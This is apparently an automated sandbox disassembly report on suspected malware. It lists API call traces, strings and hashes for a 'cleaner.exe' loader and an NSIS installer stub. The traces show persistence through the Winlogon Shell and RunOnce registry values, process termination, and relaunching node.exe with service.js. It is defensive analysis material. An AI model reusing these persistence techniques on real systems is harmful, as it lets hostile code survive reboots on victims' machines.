lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cleaner.exePID: 8952, Parent PID: 8912COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00ED107D Relevance: 107.1, APIs: 46, Strings: 15, Instructions: 327
registryprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00ED1097
_wsplitpath.MSVCRT ref: 00ED10B4
GetCommandLineW.KERNEL32 ref: 00ED10BD
wcsstr.MSVCRT ref: 00ED10C9
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00ED10FC
memset.MSVCRT ref: 00ED1113
Process32FirstW.KERNEL32(00000000,?), ref: 00ED112C
_wcsicmp.MSVCRT ref: 00ED1153
OpenProcess.KERNEL32(00000411,00000000,?), ref: 00ED1168
QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104), ref: 00ED1188
_wcsicmp.MSVCRT ref: 00ED119A
TerminateProcess.KERNEL32(00000000,00000009), ref: 00ED11A5
CloseHandle.KERNEL32(00000000), ref: 00ED11AC
Process32NextW.KERNEL32(00000000,?), ref: 00ED11B7
CloseHandle.KERNEL32(00000000), ref: 00ED11C2
CreateFileW.KERNELBASE(00000000,00000002,00000000,00000000,00000002,00000080,00000000), ref: 00ED11F5
free.MSVCRT(00000000), ref: 00ED11FE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00ED120F
MoveFileExW.KERNELBASE(00000000,00000000,00000001), ref: 00ED1259
memset.MSVCRT ref: 00ED126B
CreateFileW.KERNELBASE(00000000,00000002,00000003,00000000,00000002,00000080,00000000), ref: 00ED1295
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 00ED12AD
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 00ED12B1
DuplicateHandle.KERNELBASE(00000000), ref: 00ED12BA
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 00ED12C7
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 00ED12CB
DuplicateHandle.KERNELBASE(00000000), ref: 00ED12CE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00ED12D7
free.MSVCRT(?), ref: 00ED12E3

Part of subcall function 00ED1000: wcslen.MSVCRT ref: 00ED101C
Part of subcall function 00ED1000: calloc.MSVCRT ref: 00ED1030
Part of subcall function 00ED1000: wcslen.MSVCRT ref: 00ED104B
Part of subcall function 00ED1000: memcpy.MSVCRT ref: 00ED1061

free.MSVCRT(00000000), ref: 00ED12E6
memset.MSVCRT ref: 00ED1327
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000008,00000000,?,?,?), ref: 00ED134A
free.MSVCRT(00000000), ref: 00ED1351
CloseHandle.KERNEL32(?), ref: 00ED1358
CloseHandle.KERNEL32(?), ref: 00ED135E
CloseHandle.KERNEL32(?), ref: 00ED1364
CloseHandle.KERNEL32(?), ref: 00ED136A
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00ED13A1
wcslen.MSVCRT ref: 00ED13AE
RegSetValueExW.KERNELBASE(?,Shell,00000000,00000001,00000000,00000000), ref: 00ED13CC
RegCloseKey.ADVAPI32(?), ref: 00ED13D8
free.MSVCRT(00000000), ref: 00ED13DB
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00ED1417
wcslen.MSVCRT ref: 00ED141E
RegSetValueExW.KERNELBASE(?,InetHelper,00000000,00000001,00000000,00000000), ref: 00ED1437
RegCloseKey.ADVAPI32(?), ref: 00ED143D

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 00ED1397
service.js.lock, xrefs: 00ED11C9
explorer.exe,", xrefs: 00ED1375
<!, xrefs: 00ED12F9
\\?\pipe\, xrefs: 00ED11D7
<!, xrefs: 00ED13E1
servicelog.prev.txt, xrefs: 00ED1237
Shell, xrefs: 00ED13C3
node.exe" ", xrefs: 00ED12FF
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00ED140D
servicelog.txt, xrefs: 00ED1215
service.js", xrefs: 00ED12E8
node.exe, xrefs: 00ED10DD, 00ED114D
St0P, xrefs: 00ED10C3
InetHelper, xrefs: 00ED142E

Memory Dump Source

Source File: 0000000E.00000002.2140729083.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 0000000E.00000002.2140714156.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2140744009.0000000000ED2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ed0000_cleaner.jbxd

Similarity

API ID: Close$HandleProcess$Create$free$CurrentFilewcslen$memset$ChangeDuplicateFindNameNotificationProcess32Value_wcsicmp$CommandFirstFullImageLineModuleMoveNextOpenQuerySnapshotTerminateToolhelp32_wsplitpathcallocmemcpywcsstr
String ID: <!$<!$InetHelper$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce$Shell$St0P$\\?\pipe\$explorer.exe,"$node.exe$node.exe" "$service.js"$service.js.lock$servicelog.prev.txt$servicelog.txt
API String ID: 2280789697-4068444580
Opcode ID: c6b2756caa1f7034a6e2cb33049c064c40c439ef698fd614c9f4df962b71ec07
Instruction ID: 623751e6085c4d26861fd5c497bfdd7328fccc5c57b8b1cebea74a91903a46b5
Opcode Fuzzy Hash: c6b2756caa1f7034a6e2cb33049c064c40c439ef698fd614c9f4df962b71ec07
Instruction Fuzzy Hash: 28A181B2141304BFE321ABA1EC89FAB77ADEB94744F00441FF745E2191DA719909CB72

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00ED1000 Relevance: 5.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00ED101C
calloc.MSVCRT ref: 00ED1030
wcslen.MSVCRT ref: 00ED104B
memcpy.MSVCRT ref: 00ED1061

Memory Dump Source

Source File: 0000000E.00000002.2140729083.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 0000000E.00000002.2140714156.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2140744009.0000000000ED2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ed0000_cleaner.jbxd

Similarity

API ID: wcslen$callocmemcpy
String ID:
API String ID: 1707914859-0
Opcode ID: 4523308149d20d3519ad647e4a1aa5a5fd02975461ddc67d0781c2e0485c4e9f
Instruction ID: c6df1a850f2c48556987ab237d3b01586a4d86990d7695f4f416ebb0016e6f87
Opcode Fuzzy Hash: 4523308149d20d3519ad647e4a1aa5a5fd02975461ddc67d0781c2e0485c4e9f
Instruction Fuzzy Hash: 8101D6765043059FD710DF98EC48852BBE4EF94358B00041EF945A3361EB31EC4DCAA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wnsCCC1.tmpPID: 4040, Parent PID: 8344COMMON

Executed Functions

Function 004034A5 Relevance: 79.2, APIs: 33, Strings: 12, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004366E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,004C1000,00000020,004C1000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00002000,004D5000,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(004D5000,00001FFB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(004D5000,\Temp), ref: 00403705
GetTempPathW.KERNEL32(00001FFC,004D5000,004D5000,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(004D5000,Low), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,004D5000,004D5000,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,004D5000,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(004D1000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

ExitProcess.KERNEL32(00000006,?,00000006,00000008,0000000A), ref: 00403814
OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(004D5000,~nsu), ref: 0040384D
lstrcatW.KERNEL32(004D5000,0040A328), ref: 0040385C
lstrcatW.KERNEL32(004D5000,.tmp), ref: 00403867
lstrcmpiW.KERNEL32(004D5000,004CD000,004D5000,.tmp,004D5000,~nsu,004C1000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(004D5000,004D5000,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(004326E8,004326E8,?,00471000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(004DD000,004326E8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,004326E8,004326E8,?,004326E8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Error launching installer, xrefs: 004037D0
Low, xrefs: 0040371B
&C, xrefs: 004038D2
NSIS Error, xrefs: 00403567
\Temp, xrefs: 004036FF
~nsu, xrefs: 00403845
.tmp, xrefs: 00403861
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
SeShutdownPrivilege, xrefs: 0040396F
TMP, xrefs: 00403735
TEMP, xrefs: 0040372D

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu$&C
API String ID: 424501083-3710082758
Opcode ID: e783125dba734ed597e1940b01dc1cab2e95ffc2bcbea3dcea6e2450cdaed4c7
Instruction ID: a55e1ba19ca46540f0e819ab7f1242b390505e394ddfc82397b04f5546c7078a
Opcode Fuzzy Hash: e783125dba734ed597e1940b01dc1cab2e95ffc2bcbea3dcea6e2450cdaed4c7
Instruction Fuzzy Hash: 63D1D671600310AAD7206F769D49B3B3AACEB4074AF10443FF985B62D2DBBD8D45876E

Uniqueness

Uniqueness Score: -1.00%

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,004D5000,74DF2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00456730,\*.*), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00456730,?,?,004D5000,74DF2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNELBASE(00456730,?,?,?,0040A014,?,00456730,?,?,004D5000,74DF2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0gE, xrefs: 00405B53

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0gE$\*.*
API String ID: 2035342205-2711052210
Opcode ID: 3334b6062cde555aafe81a7f2d70c90e4ee62922905af9c316e4bc959eba850f
Instruction ID: db7c1e1462c3060b38713ca1582bdc14a6091e72a68d91c70f93002fb38cedfa
Opcode Fuzzy Hash: 3334b6062cde555aafe81a7f2d70c90e4ee62922905af9c316e4bc959eba850f
Instruction Fuzzy Hash: 7941F230805B18A6EB20AB618C89BAF7778DF41718F10813BF805711D2D77C59C28EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004D5000,0045E778,0045A730,00405E0E,0045A730,0045A730,00000000,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xE, xrefs: 0040672C

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xE
API String ID: 2295610775-407097786
Opcode ID: c38ed24b0f8540a8630b6e30e0d29a5f0a32ff0f94a31cb594348fc3b8955e5f
Instruction ID: fc51c24eb8738f718e6fd544cb5c99b56e4f1c2878dc56694a5fb172fd41157c
Opcode Fuzzy Hash: c38ed24b0f8540a8630b6e30e0d29a5f0a32ff0f94a31cb594348fc3b8955e5f
Instruction Fuzzy Hash: 83D012315150205BD2011738AD4C85B7A589F153367218B37B866F61E0C7348C62869C

Uniqueness

Uniqueness Score: -1.00%

Function 00403AD8 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetUserDefaultUILanguage.KERNELBASE(00000002,004D5000,74DF3420,004C1000,00000000), ref: 00403AF2

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

lstrcatW.KERNEL32(004D1000,00446728), ref: 00403B59
lstrlenW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,?,?,?,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00000000,004C5000,004D1000,00446728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00446728,00000000,00000002,004D5000), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,?,?,?,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00000000,004C5000,004D1000,00446728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00446728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C5000), ref: 00403C40
RegisterClassW.USER32(004681E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004681E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004681E0), ref: 00403D39
RegisterClassW.USER32(004681E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
RichEdit, xrefs: 00403D33
.DEFAULT\Control Panel\International, xrefs: 00403B44
_Nb, xrefs: 00403C5C, 00403CC4
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
(gD, xrefs: 00403B04
.exe, xrefs: 00403BE6
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd32, xrefs: 00403D14

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: (gD$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run$_Nb
API String ID: 606308-2610290127
Opcode ID: 0a001c7189d7d63785f1ec2c4194aaaeaf8e16c765d4c7e048e7af561835fdd7
Instruction ID: 53e884cc7334fa84a1d96ccc45fe83da0addadf9397a6dbc28c3941536bb6224
Opcode Fuzzy Hash: 0a001c7189d7d63785f1ec2c4194aaaeaf8e16c765d4c7e048e7af561835fdd7
Instruction Fuzzy Hash: E361D631200700BAD320AF669E49F2B3B6CEB8574AF00417FF945B22E2DB7D9D41866D

Uniqueness

Uniqueness Score: -1.00%

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,004DD000,00002000), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,004E1000,00000000,004CD000,004CD000,004DD000,004DD000,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

Error launching installer, xrefs: 00402F80
soft, xrefs: 00403020
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Null, xrefs: 00403029
HA, xrefs: 004030F6
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Inst, xrefs: 00403017
*:o, xrefs: 004031B5

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: *:o$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$HA$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1291305336
Opcode ID: e6cc7feb225d5f91d4cb60b2c7bd5eae8f554926f74471ae7b4f53b82ba7c1c2
Instruction ID: d25a53c4d11647cbbad2ea8e7a2610e0d6e301d01d0d9af5663e5c20e349ab0e
Opcode Fuzzy Hash: e6cc7feb225d5f91d4cb60b2c7bd5eae8f554926f74471ae7b4f53b82ba7c1c2
Instruction Fuzzy Hash: E8610331D01205ABDB209FA4DD85B9E7BA8AB04316F24417BF904F72D1D77C8E808B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00002000), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00002000,00000000,0043E708,?,00405487,0043E708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,0043E708,?,00405487,0043E708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run), ref: 004065A8
